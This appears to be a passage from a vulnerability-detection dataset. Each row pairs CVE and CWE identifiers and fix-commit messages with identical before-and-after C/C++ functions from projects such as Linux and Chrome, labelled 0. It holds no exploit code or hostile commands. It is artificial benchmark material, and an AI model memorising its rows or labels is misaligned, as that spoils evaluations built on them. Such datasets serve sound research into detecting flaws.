ip_vs snd_soc_adau7002 snd_cs4281 snd_rawmidi gameport snd_opl3_lib snd_seq_device snd_hwdep snd_ac97_codec ad7418 hid_primax hid snd_soc_cs4265 snd_soc_core snd_pcm_dmaengine snd_pcm snd_timer ac97_bus snd_compress snd soundcore ti_adc108s102 eeprom_93cx6 i2c_algo_pca mlxreg_hotplug st_pressure st_sensors industrialio_triggered_buffer kfifo_buf industrialio v4l2_common videodev media snd_soc_adau_utils rc_pinnacle_grey rc_core pps_gpio leds_lm3692x nandcore ledtrig_pattern iptable_security iptable_raw iptable_mangle iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun mousedev ppdev tpm kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel ide_pci_generic aes_x86_64 piix crypto_simd input_leds psmouse cryp
td
glue_helper ide_core intel_agp serio_raw intel_gtt agpgart ata_generic i2c_piix4 pata_acpi parport_pc parport rtc_cmos floppy sch_fq_codel ip_tables x_tables sha1_ssse3 sha1_generic ipv6 [last unloaded: paride]
Dumping ftrace buffer:
(ftrace buffer empty)
---[ end trace 7a818cf5f210d79e ]---
If alloc_disk fails in pf_init_units, pf->disk will be
NULL, however in pf_detect and pf_exit, it's not check
this before free.It may result a NULL pointer dereference.
Also when register_blkdev failed, blk_cleanup_queue() and
blk_mq_free_tag_set() should be called to free resources.
Reported-by: Hulk Robot <hulkci@huawei.com>
Fixes: 6ce59025f118 ("paride/pf: cleanup queues when detection fails")
Signed-off-by: YueHaibing <yuehaibing@huawei.com>
Signed-off-by: Jens Axboe <axboe@kernel.dk> | static int pf_completion(struct pf_unit *pf, char *buf, char *fun)
{
int r, s, n;
r = pf_wait(pf, STAT_BUSY, STAT_DRQ | STAT_READY | STAT_ERR,
fun, "completion");
if ((read_reg(pf, 2) & 2) && (read_reg(pf, 7) & STAT_DRQ)) {
n = (((read_reg(pf, 4) + 256 * read_reg(pf, 5)) +
3) & 0xfffc);
pi_read_block(pf->pi, buf, n);
}
s = pf_wait(pf, STAT_BUSY, STAT_READY | STAT_ERR, fun, "data done");
pi_disconnect(pf->pi);
return (r ? r : s);
}
| static int pf_completion(struct pf_unit *pf, char *buf, char *fun)
{
int r, s, n;
r = pf_wait(pf, STAT_BUSY, STAT_DRQ | STAT_READY | STAT_ERR,
fun, "completion");
if ((read_reg(pf, 2) & 2) && (read_reg(pf, 7) & STAT_DRQ)) {
n = (((read_reg(pf, 4) + 256 * read_reg(pf, 5)) +
3) & 0xfffc);
pi_read_block(pf->pi, buf, n);
}
s = pf_wait(pf, STAT_BUSY, STAT_READY | STAT_ERR, fun, "data done");
pi_disconnect(pf->pi);
return (r ? r : s);
}
| C | linux | 0 |
CVE-2013-0892 | https://www.cvedetails.com/cve/CVE-2013-0892/ | null | https://github.com/chromium/chromium/commit/0ab5fab4939150bd0f30ada8a4bf6eb0f69d66c1 | 0ab5fab4939150bd0f30ada8a4bf6eb0f69d66c1 | Sizes going across an IPC should be uint32.
BUG=164946
Review URL: https://chromiumcodereview.appspot.com/11472038
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171944 0039d316-1c4b-4281-b951-d872f2087c98 | void GpuCommandBufferStub::AddSyncPoint(uint32 sync_point) {
sync_points_.push_back(sync_point);
}
| void GpuCommandBufferStub::AddSyncPoint(uint32 sync_point) {
sync_points_.push_back(sync_point);
}
| C | Chrome | 0 |
CVE-2015-8877 | https://www.cvedetails.com/cve/CVE-2015-8877/ | CWE-399 | https://github.com/libgd/libgd/commit/4751b606fa38edc456d627140898a7ec679fcc24 | 4751b606fa38edc456d627140898a7ec679fcc24 | gdImageScaleTwoPass memory leak fix
Fixing memory leak in gdImageScaleTwoPass, as reported by @cmb69 and
confirmed by @vapier. This bug actually bit me in production and I'm
very thankful that it was reported with an easy fix.
Fixes #173. | static double filter_hermite(const double x1)
{
const double x = x1 < 0.0 ? -x1 : x1;
if (x < 1.0) return ((2.0 * x - 3) * x * x + 1.0 );
return 0.0;
}
| static double filter_hermite(const double x1)
{
const double x = x1 < 0.0 ? -x1 : x1;
if (x < 1.0) return ((2.0 * x - 3) * x * x + 1.0 );
return 0.0;
}
| C | libgd | 0 |
CVE-2014-8172 | https://www.cvedetails.com/cve/CVE-2014-8172/ | CWE-17 | https://github.com/torvalds/linux/commit/eee5cc2702929fd41cce28058dc6d6717f723f87 | eee5cc2702929fd41cce28058dc6d6717f723f87 | get rid of s_files and files_lock
The only thing we need it for is alt-sysrq-r (emergency remount r/o)
and these days we can do just as well without going through the
list of files.
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk> | static long do_sys_truncate(const char __user *pathname, loff_t length)
{
unsigned int lookup_flags = LOOKUP_FOLLOW;
struct path path;
int error;
if (length < 0) /* sorry, but loff_t says... */
return -EINVAL;
retry:
error = user_path_at(AT_FDCWD, pathname, lookup_flags, &path);
if (!error) {
error = vfs_truncate(&path, length);
path_put(&path);
}
if (retry_estale(error, lookup_flags)) {
lookup_flags |= LOOKUP_REVAL;
goto retry;
}
return error;
}
| static long do_sys_truncate(const char __user *pathname, loff_t length)
{
unsigned int lookup_flags = LOOKUP_FOLLOW;
struct path path;
int error;
if (length < 0) /* sorry, but loff_t says... */
return -EINVAL;
retry:
error = user_path_at(AT_FDCWD, pathname, lookup_flags, &path);
if (!error) {
error = vfs_truncate(&path, length);
path_put(&path);
}
if (retry_estale(error, lookup_flags)) {
lookup_flags |= LOOKUP_REVAL;
goto retry;
}
return error;
}
| C | linux | 0 |
CVE-2015-2304 | https://www.cvedetails.com/cve/CVE-2015-2304/ | CWE-22 | https://github.com/libarchive/libarchive/commit/59357157706d47c365b2227739e17daba3607526 | 59357157706d47c365b2227739e17daba3607526 | Add ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS option
This fixes a directory traversal in the cpio tool. | current_fixup(struct archive_write_disk *a, const char *pathname)
{
if (a->current_fixup == NULL)
a->current_fixup = new_fixup(a, pathname);
return (a->current_fixup);
}
| current_fixup(struct archive_write_disk *a, const char *pathname)
{
if (a->current_fixup == NULL)
a->current_fixup = new_fixup(a, pathname);
return (a->current_fixup);
}
| C | libarchive | 0 |
CVE-2018-18352 | https://www.cvedetails.com/cve/CVE-2018-18352/ | CWE-732 | https://github.com/chromium/chromium/commit/a9cbaa7a40e2b2723cfc2f266c42f4980038a949 | a9cbaa7a40e2b2723cfc2f266c42f4980038a949 | Simplify "WouldTaintOrigin" concept in media/blink
Currently WebMediaPlayer has three predicates:
- DidGetOpaqueResponseFromServiceWorker
- HasSingleSecurityOrigin
- DidPassCORSAccessCheck
. These are used to determine whether the response body is available
for scripts. They are known to be confusing, and actually
MediaElementAudioSourceHandler::WouldTaintOrigin misuses them.
This CL merges the three predicates to one, WouldTaintOrigin, to remove
the confusion. Now the "response type" concept is available and we
don't need a custom CORS check, so this CL removes
BaseAudioContext::WouldTaintOrigin. This CL also renames
URLData::has_opaque_data_ and its (direct and indirect) data accessors
to match the spec.
Bug: 849942, 875153
Change-Id: I6acf50169d7445c4ff614e80ac606f79ee577d2a
Reviewed-on: https://chromium-review.googlesource.com/c/1238098
Reviewed-by: Fredrik Hubinette <hubbe@chromium.org>
Reviewed-by: Kinuko Yasuda <kinuko@chromium.org>
Reviewed-by: Raymond Toy <rtoy@chromium.org>
Commit-Queue: Yutaka Hirano <yhirano@chromium.org>
Cr-Commit-Position: refs/heads/master@{#598258} | void WebMediaPlayerImpl::EnterPictureInPicture(
blink::WebMediaPlayer::PipWindowOpenedCallback callback) {
if (!surface_layer_for_video_enabled_)
ActivateSurfaceLayerForVideo();
DCHECK(bridge_);
const viz::SurfaceId& surface_id = bridge_->GetSurfaceId();
DCHECK(surface_id.is_valid());
delegate_->DidPictureInPictureModeStart(
delegate_id_, surface_id, pipeline_metadata_.natural_size,
std::move(callback), true /* show_play_pause_button */);
}
| void WebMediaPlayerImpl::EnterPictureInPicture(
blink::WebMediaPlayer::PipWindowOpenedCallback callback) {
if (!surface_layer_for_video_enabled_)
ActivateSurfaceLayerForVideo();
DCHECK(bridge_);
const viz::SurfaceId& surface_id = bridge_->GetSurfaceId();
DCHECK(surface_id.is_valid());
delegate_->DidPictureInPictureModeStart(
delegate_id_, surface_id, pipeline_metadata_.natural_size,
std::move(callback), true /* show_play_pause_button */);
}
| C | Chrome | 0 |
CVE-2017-5118 | https://www.cvedetails.com/cve/CVE-2017-5118/ | CWE-732 | https://github.com/chromium/chromium/commit/0ab2412a104d2f235d7b9fe19d30ef605a410832 | 0ab2412a104d2f235d7b9fe19d30ef605a410832 | Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333} | static WebDocumentLoader* DocumentLoaderForDocLoader(DocumentLoader* loader) {
return loader ? WebDocumentLoaderImpl::FromDocumentLoader(loader) : nullptr;
}
| static WebDocumentLoader* DocumentLoaderForDocLoader(DocumentLoader* loader) {
return loader ? WebDocumentLoaderImpl::FromDocumentLoader(loader) : nullptr;
}
| C | Chrome | 0 |
CVE-2018-6085 | https://www.cvedetails.com/cve/CVE-2018-6085/ | CWE-20 | https://github.com/chromium/chromium/commit/df5b1e1f88e013bc96107cc52c4a4f33a8238444 | df5b1e1f88e013bc96107cc52c4a4f33a8238444 | Blockfile cache: fix long-standing sparse + evict reentrancy problem
Thanks to nedwilliamson@ (on gmail) for an alternative perspective
plus a reduction to make fixing this much easier.
Bug: 826626, 518908, 537063, 802886
Change-Id: Ibfa01416f9a8e7f7b361e4f93b4b6b134728b85f
Reviewed-on: https://chromium-review.googlesource.com/985052
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Maks Orlovich <morlovich@chromium.org>
Cr-Commit-Position: refs/heads/master@{#547103} | void BackendImpl::AdjustMaxCacheSize(int table_len) {
if (max_size_)
return;
DCHECK(!table_len || data_->header.magic);
int64_t available = base::SysInfo::AmountOfFreeDiskSpace(path_);
if (available < 0) {
max_size_ = kDefaultCacheSize;
return;
}
if (table_len)
available += data_->header.num_bytes;
max_size_ = PreferredCacheSize(available);
if (!table_len)
return;
max_size_ = std::min(max_size_, MaxStorageSizeForTable(table_len));
}
| void BackendImpl::AdjustMaxCacheSize(int table_len) {
if (max_size_)
return;
DCHECK(!table_len || data_->header.magic);
int64_t available = base::SysInfo::AmountOfFreeDiskSpace(path_);
if (available < 0) {
max_size_ = kDefaultCacheSize;
return;
}
if (table_len)
available += data_->header.num_bytes;
max_size_ = PreferredCacheSize(available);
if (!table_len)
return;
max_size_ = std::min(max_size_, MaxStorageSizeForTable(table_len));
}
| C | Chrome | 0 |
CVE-2013-6636 | https://www.cvedetails.com/cve/CVE-2013-6636/ | CWE-20 | https://github.com/chromium/chromium/commit/5cfe3023574666663d970ce48cdbc8ed15ce61d9 | 5cfe3023574666663d970ce48cdbc8ed15ce61d9 | Clear out some minor TODOs.
BUG=none
Review URL: https://codereview.chromium.org/1047063002
Cr-Commit-Position: refs/heads/master@{#322959} | views::View* AutofillDialogViews::CreateTitlebarExtraView() {
return account_chooser_;
}
| views::View* AutofillDialogViews::CreateTitlebarExtraView() {
return account_chooser_;
}
| C | Chrome | 0 |
CVE-2016-0849 | https://www.cvedetails.com/cve/CVE-2016-0849/ | CWE-189 | https://android.googlesource.com/platform/bootable/recovery/+/28a566f7731b4cb76d2a9ba16d997ac5aeb07dad | 28a566f7731b4cb76d2a9ba16d997ac5aeb07dad | Fix integer overflows in recovery procedure.
Bug: 26960931
Change-Id: Ieae45caccfb4728fcf514f0d920976585d8e6caf
(cherry picked from commit 4f2df162c6ab4a71ca86e4b38735b681729c353b)
| void sysReleaseMap(MemMapping* pMap)
{
int i;
for (i = 0; i < pMap->range_count; ++i) {
if (munmap(pMap->ranges[i].addr, pMap->ranges[i].length) < 0) {
LOGW("munmap(%p, %d) failed: %s\n",
pMap->ranges[i].addr, (int)pMap->ranges[i].length, strerror(errno));
}
}
free(pMap->ranges);
pMap->ranges = NULL;
pMap->range_count = 0;
}
| void sysReleaseMap(MemMapping* pMap)
{
int i;
for (i = 0; i < pMap->range_count; ++i) {
if (munmap(pMap->ranges[i].addr, pMap->ranges[i].length) < 0) {
LOGW("munmap(%p, %d) failed: %s\n",
pMap->ranges[i].addr, (int)pMap->ranges[i].length, strerror(errno));
}
}
free(pMap->ranges);
pMap->ranges = NULL;
pMap->range_count = 0;
}
| C | Android | 0 |
CVE-2018-16073 | https://www.cvedetails.com/cve/CVE-2018-16073/ | CWE-285 | https://github.com/chromium/chromium/commit/0bb3f5c715eb66bb5c1fb05fd81d902ca57f33ca | 0bb3f5c715eb66bb5c1fb05fd81d902ca57f33ca | Use unique processes for data URLs on restore.
Data URLs are usually put into the process that created them, but this
info is not tracked after a tab restore. Ensure that they do not end up
in the parent frame's process (or each other's process), in case they
are malicious.
BUG=863069
Change-Id: Ib391f90c7bdf28a0a9c057c5cc7918c10aed968b
Reviewed-on: https://chromium-review.googlesource.com/1150767
Reviewed-by: Alex Moshchuk <alexmos@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#581023} | bool SiteInstanceImpl::IsRelatedSiteInstance(const SiteInstance* instance) {
return browsing_instance_.get() == static_cast<const SiteInstanceImpl*>(
instance)->browsing_instance_.get();
}
| bool SiteInstanceImpl::IsRelatedSiteInstance(const SiteInstance* instance) {
return browsing_instance_.get() == static_cast<const SiteInstanceImpl*>(
instance)->browsing_instance_.get();
}
| C | Chrome | 0 |
null | null | null | https://github.com/chromium/chromium/commit/a1ce1b69e269a7e61ea0bf0691b90be0cbe9b4c5 | a1ce1b69e269a7e61ea0bf0691b90be0cbe9b4c5 | 2009-05-04 Kai Brüning <kai@granus.net>
Reviewed by Eric Seidel.
https://bugs.webkit.org/show_bug.cgi?id=24883
24883: Bad success test in parseXMLDocumentFragment in XMLTokenizerLibxml2.cpp
Fixed test whether all the chunk has been processed to correctly count utf8 bytes.
Test: fast/innerHTML/innerHTML-nbsp.xhtml
* dom/XMLTokenizerLibxml2.cpp:
(WebCore::parseXMLDocumentFragment):
git-svn-id: svn://svn.chromium.org/blink/trunk@43195 bbb929c8-8fbe-4397-9dbb-9b2b20218538 | virtual void call(XMLTokenizer* tokenizer)
{
tokenizer->processingInstruction(target, data);
}
| virtual void call(XMLTokenizer* tokenizer)
{
tokenizer->processingInstruction(target, data);
}
| C | Chrome | 0 |
CVE-2019-13307 | https://www.cvedetails.com/cve/CVE-2019-13307/ | CWE-119 | https://github.com/ImageMagick/ImageMagick6/commit/91e58d967a92250439ede038ccfb0913a81e59fe | 91e58d967a92250439ede038ccfb0913a81e59fe | https://github.com/ImageMagick/ImageMagick/issues/1615 | static PixelList **DestroyPixelListThreadSet(PixelList **pixel_list)
{
register ssize_t
i;
assert(pixel_list != (PixelList **) NULL);
for (i=0; i < (ssize_t) GetMagickResourceLimit(ThreadResource); i++)
if (pixel_list[i] != (PixelList *) NULL)
pixel_list[i]=DestroyPixelList(pixel_list[i]);
pixel_list=(PixelList **) RelinquishMagickMemory(pixel_list);
return(pixel_list);
}
| static PixelList **DestroyPixelListThreadSet(PixelList **pixel_list)
{
register ssize_t
i;
assert(pixel_list != (PixelList **) NULL);
for (i=0; i < (ssize_t) GetMagickResourceLimit(ThreadResource); i++)
if (pixel_list[i] != (PixelList *) NULL)
pixel_list[i]=DestroyPixelList(pixel_list[i]);
pixel_list=(PixelList **) RelinquishMagickMemory(pixel_list);
return(pixel_list);
}
| C | ImageMagick6 | 0 |
CVE-2009-3605 | https://www.cvedetails.com/cve/CVE-2009-3605/ | CWE-189 | https://cgit.freedesktop.org/poppler/poppler/commit/?id=7b2d314a61fd0e12f47c62996cb49ec0d1ba747a | 7b2d314a61fd0e12f47c62996cb49ec0d1ba747a | null | void GfxState::setFillColorSpace(GfxColorSpace *colorSpace) {
if (fillColorSpace) {
delete fillColorSpace;
}
fillColorSpace = colorSpace;
}
| void GfxState::setFillColorSpace(GfxColorSpace *colorSpace) {
if (fillColorSpace) {
delete fillColorSpace;
}
fillColorSpace = colorSpace;
}
| CPP | poppler | 0 |
CVE-2016-4425 | https://www.cvedetails.com/cve/CVE-2016-4425/ | CWE-20 | https://github.com/akheron/jansson/pull/284/commits/64ce0ad3731ebd77e02897b07920eadd0e2cc318 | 64ce0ad3731ebd77e02897b07920eadd0e2cc318 | Fix for issue #282
The fix limits recursion depths when parsing arrays and objects.
The limit is configurable via the `JSON_PARSER_MAX_DEPTH` setting
within `jansson_config.h` and is set by default to 2048.
Update the RFC conformance document to note the limit; the RFC
allows limits to be set by the implementation so nothing has
actually changed w.r.t. conformance state.
Reported by Gustavo Grieco. | json_t *json_loads(const char *string, size_t flags, json_error_t *error)
{
lex_t lex;
json_t *result;
string_data_t stream_data;
jsonp_error_init(error, "<string>");
if (string == NULL) {
error_set(error, NULL, "wrong arguments");
return NULL;
}
stream_data.data = string;
stream_data.pos = 0;
if(lex_init(&lex, string_get, flags, (void *)&stream_data))
return NULL;
result = parse_json(&lex, flags, error);
lex_close(&lex);
return result;
}
| json_t *json_loads(const char *string, size_t flags, json_error_t *error)
{
lex_t lex;
json_t *result;
string_data_t stream_data;
jsonp_error_init(error, "<string>");
if (string == NULL) {
error_set(error, NULL, "wrong arguments");
return NULL;
}
stream_data.data = string;
stream_data.pos = 0;
if(lex_init(&lex, string_get, flags, (void *)&stream_data))
return NULL;
result = parse_json(&lex, flags, error);
lex_close(&lex);
return result;
}
| C | jansson | 0 |
null | null | null | https://github.com/chromium/chromium/commit/ee8d6fd30b022ac2c87b7a190c954e7bb3c9b21e | ee8d6fd30b022ac2c87b7a190c954e7bb3c9b21e | Clean up calls like "gfx::Rect(0, 0, size().width(), size().height()".
The caller can use the much shorter "gfx::Rect(size())", since gfx::Rect
has a constructor that just takes a Size.
BUG=none
TEST=none
Review URL: http://codereview.chromium.org/2204001
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@48283 0039d316-1c4b-4281-b951-d872f2087c98 | void WebPluginDelegateProxy::Paint(WebKit::WebCanvas* canvas,
const gfx::Rect& damaged_rect) {
gfx::Rect rect = damaged_rect.Intersect(plugin_rect_);
if (!channel_host_ || !channel_host_->channel_valid()) {
PaintSadPlugin(canvas, rect);
return;
}
if (!uses_shared_bitmaps_)
return;
if (!backing_store_canvas_.get())
return;
#if WEBKIT_USING_SKIA
gfx::NativeDrawingContext context = canvas->beginPlatformPaint();
#elif WEBKIT_USING_CG
gfx::NativeDrawingContext context = canvas;
#endif
gfx::Rect offset_rect = rect;
offset_rect.Offset(-plugin_rect_.x(), -plugin_rect_.y());
gfx::Rect canvas_rect = offset_rect;
#if defined(OS_MACOSX)
FlipRectVerticallyWithHeight(&canvas_rect, plugin_rect_.height());
#endif
bool background_changed = false;
if (background_store_canvas_.get() && BackgroundChanged(context, rect)) {
background_changed = true;
gfx::Rect flipped_offset_rect = offset_rect;
BlitContextToCanvas(background_store_canvas_.get(), canvas_rect,
context, rect.origin());
}
if (background_changed || !backing_store_painted_.Contains(offset_rect)) {
Send(new PluginMsg_Paint(instance_id_, offset_rect));
CopyFromTransportToBacking(offset_rect);
}
BlitCanvasToContext(context, rect, backing_store_canvas_.get(),
canvas_rect.origin());
if (invalidate_pending_) {
invalidate_pending_ = false;
Send(new PluginMsg_DidPaint(instance_id_));
}
#if WEBKIT_USING_SKIA
canvas->endPlatformPaint();
#endif
}
| void WebPluginDelegateProxy::Paint(WebKit::WebCanvas* canvas,
const gfx::Rect& damaged_rect) {
gfx::Rect rect = damaged_rect.Intersect(plugin_rect_);
if (!channel_host_ || !channel_host_->channel_valid()) {
PaintSadPlugin(canvas, rect);
return;
}
if (!uses_shared_bitmaps_)
return;
if (!backing_store_canvas_.get())
return;
#if WEBKIT_USING_SKIA
gfx::NativeDrawingContext context = canvas->beginPlatformPaint();
#elif WEBKIT_USING_CG
gfx::NativeDrawingContext context = canvas;
#endif
gfx::Rect offset_rect = rect;
offset_rect.Offset(-plugin_rect_.x(), -plugin_rect_.y());
gfx::Rect canvas_rect = offset_rect;
#if defined(OS_MACOSX)
FlipRectVerticallyWithHeight(&canvas_rect, plugin_rect_.height());
#endif
bool background_changed = false;
if (background_store_canvas_.get() && BackgroundChanged(context, rect)) {
background_changed = true;
gfx::Rect flipped_offset_rect = offset_rect;
BlitContextToCanvas(background_store_canvas_.get(), canvas_rect,
context, rect.origin());
}
if (background_changed || !backing_store_painted_.Contains(offset_rect)) {
Send(new PluginMsg_Paint(instance_id_, offset_rect));
CopyFromTransportToBacking(offset_rect);
}
BlitCanvasToContext(context, rect, backing_store_canvas_.get(),
canvas_rect.origin());
if (invalidate_pending_) {
invalidate_pending_ = false;
Send(new PluginMsg_DidPaint(instance_id_));
}
#if WEBKIT_USING_SKIA
canvas->endPlatformPaint();
#endif
}
| C | Chrome | 0 |
CVE-2013-1929 | https://www.cvedetails.com/cve/CVE-2013-1929/ | CWE-119 | https://github.com/torvalds/linux/commit/715230a44310a8cf66fbfb5a46f9a62a9b2de424 | 715230a44310a8cf66fbfb5a46f9a62a9b2de424 | tg3: fix length overflow in VPD firmware parsing
Commit 184b89044fb6e2a74611dafa69b1dce0d98612c6 ("tg3: Use VPD fw version
when present") introduced VPD parsing that contained a potential length
overflow.
Limit the hardware's reported firmware string length (max 255 bytes) to
stay inside the driver's firmware string length (32 bytes). On overflow,
truncate the formatted firmware string instead of potentially overwriting
portions of the tg3 struct.
http://cansecwest.com/slides/2013/PrivateCore%20CSW%202013.pdf
Signed-off-by: Kees Cook <keescook@chromium.org>
Reported-by: Oded Horovitz <oded@privatecore.com>
Reported-by: Brad Spengler <spender@grsecurity.net>
Cc: stable@vger.kernel.org
Cc: Matt Carlson <mcarlson@broadcom.com>
Signed-off-by: David S. Miller <davem@davemloft.net> | static void tg3_get_5720_nvram_info(struct tg3 *tp)
{
u32 nvcfg1, nvmpinstrp;
nvcfg1 = tr32(NVRAM_CFG1);
nvmpinstrp = nvcfg1 & NVRAM_CFG1_5752VENDOR_MASK;
if (tg3_asic_rev(tp) == ASIC_REV_5762) {
if (!(nvcfg1 & NVRAM_CFG1_5762VENDOR_MASK)) {
tg3_flag_set(tp, NO_NVRAM);
return;
}
switch (nvmpinstrp) {
case FLASH_5762_EEPROM_HD:
nvmpinstrp = FLASH_5720_EEPROM_HD;
break;
case FLASH_5762_EEPROM_LD:
nvmpinstrp = FLASH_5720_EEPROM_LD;
break;
}
}
switch (nvmpinstrp) {
case FLASH_5720_EEPROM_HD:
case FLASH_5720_EEPROM_LD:
tp->nvram_jedecnum = JEDEC_ATMEL;
tg3_flag_set(tp, NVRAM_BUFFERED);
nvcfg1 &= ~NVRAM_CFG1_COMPAT_BYPASS;
tw32(NVRAM_CFG1, nvcfg1);
if (nvmpinstrp == FLASH_5720_EEPROM_HD)
tp->nvram_pagesize = ATMEL_AT24C512_CHIP_SIZE;
else
tp->nvram_pagesize = ATMEL_AT24C02_CHIP_SIZE;
return;
case FLASH_5720VENDOR_M_ATMEL_DB011D:
case FLASH_5720VENDOR_A_ATMEL_DB011B:
case FLASH_5720VENDOR_A_ATMEL_DB011D:
case FLASH_5720VENDOR_M_ATMEL_DB021D:
case FLASH_5720VENDOR_A_ATMEL_DB021B:
case FLASH_5720VENDOR_A_ATMEL_DB021D:
case FLASH_5720VENDOR_M_ATMEL_DB041D:
case FLASH_5720VENDOR_A_ATMEL_DB041B:
case FLASH_5720VENDOR_A_ATMEL_DB041D:
case FLASH_5720VENDOR_M_ATMEL_DB081D:
case FLASH_5720VENDOR_A_ATMEL_DB081D:
case FLASH_5720VENDOR_ATMEL_45USPT:
tp->nvram_jedecnum = JEDEC_ATMEL;
tg3_flag_set(tp, NVRAM_BUFFERED);
tg3_flag_set(tp, FLASH);
switch (nvmpinstrp) {
case FLASH_5720VENDOR_M_ATMEL_DB021D:
case FLASH_5720VENDOR_A_ATMEL_DB021B:
case FLASH_5720VENDOR_A_ATMEL_DB021D:
tp->nvram_size = TG3_NVRAM_SIZE_256KB;
break;
case FLASH_5720VENDOR_M_ATMEL_DB041D:
case FLASH_5720VENDOR_A_ATMEL_DB041B:
case FLASH_5720VENDOR_A_ATMEL_DB041D:
tp->nvram_size = TG3_NVRAM_SIZE_512KB;
break;
case FLASH_5720VENDOR_M_ATMEL_DB081D:
case FLASH_5720VENDOR_A_ATMEL_DB081D:
tp->nvram_size = TG3_NVRAM_SIZE_1MB;
break;
default:
if (tg3_asic_rev(tp) != ASIC_REV_5762)
tp->nvram_size = TG3_NVRAM_SIZE_128KB;
break;
}
break;
case FLASH_5720VENDOR_M_ST_M25PE10:
case FLASH_5720VENDOR_M_ST_M45PE10:
case FLASH_5720VENDOR_A_ST_M25PE10:
case FLASH_5720VENDOR_A_ST_M45PE10:
case FLASH_5720VENDOR_M_ST_M25PE20:
case FLASH_5720VENDOR_M_ST_M45PE20:
case FLASH_5720VENDOR_A_ST_M25PE20:
case FLASH_5720VENDOR_A_ST_M45PE20:
case FLASH_5720VENDOR_M_ST_M25PE40:
case FLASH_5720VENDOR_M_ST_M45PE40:
case FLASH_5720VENDOR_A_ST_M25PE40:
case FLASH_5720VENDOR_A_ST_M45PE40:
case FLASH_5720VENDOR_M_ST_M25PE80:
case FLASH_5720VENDOR_M_ST_M45PE80:
case FLASH_5720VENDOR_A_ST_M25PE80:
case FLASH_5720VENDOR_A_ST_M45PE80:
case FLASH_5720VENDOR_ST_25USPT:
case FLASH_5720VENDOR_ST_45USPT:
tp->nvram_jedecnum = JEDEC_ST;
tg3_flag_set(tp, NVRAM_BUFFERED);
tg3_flag_set(tp, FLASH);
switch (nvmpinstrp) {
case FLASH_5720VENDOR_M_ST_M25PE20:
case FLASH_5720VENDOR_M_ST_M45PE20:
case FLASH_5720VENDOR_A_ST_M25PE20:
case FLASH_5720VENDOR_A_ST_M45PE20:
tp->nvram_size = TG3_NVRAM_SIZE_256KB;
break;
case FLASH_5720VENDOR_M_ST_M25PE40:
case FLASH_5720VENDOR_M_ST_M45PE40:
case FLASH_5720VENDOR_A_ST_M25PE40:
case FLASH_5720VENDOR_A_ST_M45PE40:
tp->nvram_size = TG3_NVRAM_SIZE_512KB;
break;
case FLASH_5720VENDOR_M_ST_M25PE80:
case FLASH_5720VENDOR_M_ST_M45PE80:
case FLASH_5720VENDOR_A_ST_M25PE80:
case FLASH_5720VENDOR_A_ST_M45PE80:
tp->nvram_size = TG3_NVRAM_SIZE_1MB;
break;
default:
if (tg3_asic_rev(tp) != ASIC_REV_5762)
tp->nvram_size = TG3_NVRAM_SIZE_128KB;
break;
}
break;
default:
tg3_flag_set(tp, NO_NVRAM);
return;
}
tg3_nvram_get_pagesize(tp, nvcfg1);
if (tp->nvram_pagesize != 264 && tp->nvram_pagesize != 528)
tg3_flag_set(tp, NO_NVRAM_ADDR_TRANS);
if (tg3_asic_rev(tp) == ASIC_REV_5762) {
u32 val;
if (tg3_nvram_read(tp, 0, &val))
return;
if (val != TG3_EEPROM_MAGIC &&
(val & TG3_EEPROM_MAGIC_FW_MSK) != TG3_EEPROM_MAGIC_FW)
tg3_flag_set(tp, NO_NVRAM);
}
}
| static void tg3_get_5720_nvram_info(struct tg3 *tp)
{
u32 nvcfg1, nvmpinstrp;
nvcfg1 = tr32(NVRAM_CFG1);
nvmpinstrp = nvcfg1 & NVRAM_CFG1_5752VENDOR_MASK;
if (tg3_asic_rev(tp) == ASIC_REV_5762) {
if (!(nvcfg1 & NVRAM_CFG1_5762VENDOR_MASK)) {
tg3_flag_set(tp, NO_NVRAM);
return;
}
switch (nvmpinstrp) {
case FLASH_5762_EEPROM_HD:
nvmpinstrp = FLASH_5720_EEPROM_HD;
break;
case FLASH_5762_EEPROM_LD:
nvmpinstrp = FLASH_5720_EEPROM_LD;
break;
}
}
switch (nvmpinstrp) {
case FLASH_5720_EEPROM_HD:
case FLASH_5720_EEPROM_LD:
tp->nvram_jedecnum = JEDEC_ATMEL;
tg3_flag_set(tp, NVRAM_BUFFERED);
nvcfg1 &= ~NVRAM_CFG1_COMPAT_BYPASS;
tw32(NVRAM_CFG1, nvcfg1);
if (nvmpinstrp == FLASH_5720_EEPROM_HD)
tp->nvram_pagesize = ATMEL_AT24C512_CHIP_SIZE;
else
tp->nvram_pagesize = ATMEL_AT24C02_CHIP_SIZE;
return;
case FLASH_5720VENDOR_M_ATMEL_DB011D:
case FLASH_5720VENDOR_A_ATMEL_DB011B:
case FLASH_5720VENDOR_A_ATMEL_DB011D:
case FLASH_5720VENDOR_M_ATMEL_DB021D:
case FLASH_5720VENDOR_A_ATMEL_DB021B:
case FLASH_5720VENDOR_A_ATMEL_DB021D:
case FLASH_5720VENDOR_M_ATMEL_DB041D:
case FLASH_5720VENDOR_A_ATMEL_DB041B:
case FLASH_5720VENDOR_A_ATMEL_DB041D:
case FLASH_5720VENDOR_M_ATMEL_DB081D:
case FLASH_5720VENDOR_A_ATMEL_DB081D:
case FLASH_5720VENDOR_ATMEL_45USPT:
tp->nvram_jedecnum = JEDEC_ATMEL;
tg3_flag_set(tp, NVRAM_BUFFERED);
tg3_flag_set(tp, FLASH);
switch (nvmpinstrp) {
